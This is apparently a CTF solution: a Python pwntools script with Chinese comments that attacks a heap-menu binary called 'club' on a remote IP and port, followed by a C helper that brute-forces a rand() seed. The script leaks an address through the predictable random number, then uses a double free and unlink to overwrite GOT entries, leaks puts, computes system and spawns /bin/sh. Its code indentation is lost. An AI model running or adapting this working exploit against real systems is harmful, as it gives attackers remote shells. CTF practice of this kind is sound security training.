# -*- coding: cp936 -*-
from pwn import *
g_local=False
#不设置log_level为debug会导致程序的输出不显示出来
context.log_level = 'debug'
if g_local:
#启动程序
p = process('./club')
#调试器附加该程序
#gdb.attach(p)
else:
#连接远程服务器
p = remote('123.206.22.95',8888)
#修改缓存区内容
def edit(index,content):
p.send('3')
p.recvuntil('> ')
p.send(str(index+1))
p.send(content)
p.send('\x0a')
p.recvuntil('> ')
#申请一段内存
def create(index,size,content):
p.send('1')
p.recvuntil('> ')
p.send(str(index+1))
p.recvuntil('> ')
p.send(str(size))
p.recvuntil('> ')
edit(index,content)
#释放一段内存
def delete(index):
p.send('2')
p.recvuntil('> ')
p.send(str(index+1))
p.recvuntil('> ')
def delete2(index):
p.send('2')
p.recvuntil('> ')
p.send(str(index+1))
def getpwn():
system_off = 0x45390
puts_off = 0x6f690
#got_addr = 0x202018
#p_addr=0x202128
#puts_plt = 0x8A0
#seed_addr=0x202148
p.recvuntil('> ')
p.send('5')
p.recvuntil('> ')
p.send('1')
p.recvuntil('> ')
p.send('5')
p.recvuntil('> ')
#程序会用一个全局变量的基地址当作随机种子,并生成随机数让你猜
#猜对了就会显示这个全局变量的基地址
#伪随机算法存在一个问题,如果种子一样,那么生成的随机数也一样
#所以可以通过使用同样的随机函数库来穷解求出接下来的随机数
secondrandom=input('input second random...\n')
p.send(str(secondrandom))
p.recvuntil(': ')
r=p.recvuntil('!')
numstr=r[0:len(r)-1]
seed_addr=long(numstr)
#获得全局变量基地址
log.info('seed_addr:'+hex(seed_addr))
#通过这个基地址,计算GOT表地址,数组地址,puts函数地址,
got_addr=seed_addr-0x130
p_addr=seed_addr-0x28
puts_plt=seed_addr-0x2018a8
p.recvuntil('> ')
create(0,0x20,'0000')
#利用double free漏洞,最终使*p=p-0x18
create(2,0x120,'2222')
create(1,0x110,'1111')
delete(2)
delete(1)
payload = p64(0)+p64(0x121)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x120-0x20)+p64(0x120)+p64(0x240-0x120)
create(3,0x240,payload)
delete(1)
#修改x[3]相当于在修改&x[3]-0x18=>>&x[0]
edit(3,p64(got_addr)+p64(got_addr+0x10))
#由于got表的第一项为free函数,所以这里将free函数修改为了puts函数
edit(0,p64(puts_plt))
#输出got_addr+0x10的内容,即输出glibc模块中puts的地址
delete2(1)
#利用偏移可以计算出system函数地址
puts_addr = p.recv(6)
log.info('puts_addr:'+puts_addr)
system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off
log.info('system address:'+hex(system_addr))
p.recvuntil('> ')
#最终调用system拿到shell
edit(2,'/bin/sh\x00')
edit(0,p64(system_addr))
delete2(2)
p.interactive()
#最后不要忘记了输入ls命令,取得flag
getpwn();
猜随机数的代码
#include <stdio.h>
#include <stdlib.h>
int main()
{
int n,k;
puts("输入第一个随机数:");
scanf("%d",&k);
printf("随机数:%d\n",k);
for (int i=0;i<=0xfffff;i++)
{
n=(i<<12)|0x148;
srand(n);
if (rand()==k)
{
printf("第二个随机数:%d",rand());
break;
}
}
}